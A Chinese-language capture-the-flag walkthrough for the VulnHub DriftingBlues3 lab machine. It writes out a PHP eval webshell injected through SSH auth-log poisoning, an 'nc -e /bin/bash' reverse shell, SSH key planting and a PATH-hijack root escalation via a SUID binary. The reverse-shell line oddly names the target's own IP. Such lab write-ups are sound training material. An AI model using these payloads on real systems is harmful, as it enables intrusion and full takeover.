一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:driftingblues3(10.0.2.19)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/driftingblues-3,656/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.19

使用nmap端口扫描发现靶机开放端口:22、80

打开网站点击各个功能点,查看源码,没有发现可利用的点
使用dirsearch工具进行目录爆破

访问robots.txt,找到一个不允许爬虫访问的地址

访问eventadmins得到提示:检查/littlequeenofspades.html

访问/littlequeenofspades.html,查看源码可以得到隐藏信息
aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
解密:intruder? L2FkbWluc2ZpeGl0LnBocA==
再次解密:/adminsfixit.php

访问/adminsfixit.php,可以看这是个ssh auth log文件,ssh登录用户名会写入这个文件,可以通过这个特性写入一句话木马

三、漏洞利用
写入一句话木马,使用AntSword连接
ssh '<?php @eval($_POST['pass']);?>'@10.0.2.19

反弹shell,并获取交互式shell
nc -e /bin/bash 10.0.2.19 4444
python -c 'import pty; pty.spawn("/bin/bash")'

四、提权
发现靶机有一个robertj用户,我们对.ssh文件夹具有写权限
可以使用ssh-keygen -t rsa命令生成ssh密钥,将生成的私钥保存到:/home/robertj/.ssh/id_rsa ,然后使用命令cat id_rsa.pub > authorized_keys将 SSH 公钥文件复制重命名为 authorized_keys ,用于 SSH 登陆认证,并将私钥复制到本机用于登录ssh
chmod 600 id_rsa
ssh -i id_rsa robertj@10.0.2.19

查看有没有特权命令或有没有可以利用的具有root权限的文件,发现/usr/bin/getinfo文件可疑
find / -perm -u=s -type f 2>/dev/null

执行该文件,可以看到该文件执行了ip命令:ip addr show

 
可以替换ip命令进行提权
更改环境变量,再重新执行get_info,提权成功
cd /tmp
echo '/bin/bash' > ip
chmod +x ip
export PATH=/tmp:$PATH

嗯,我突然想到能不能反弹shell后使用www-data权限进行替换ip提权呢,后面又尝试了一下使用www-data权限执行不了get_info文件,权限不够

获取flag

 
参考链接:https://blog.csdn.net/Aluxian_/article/details/125291614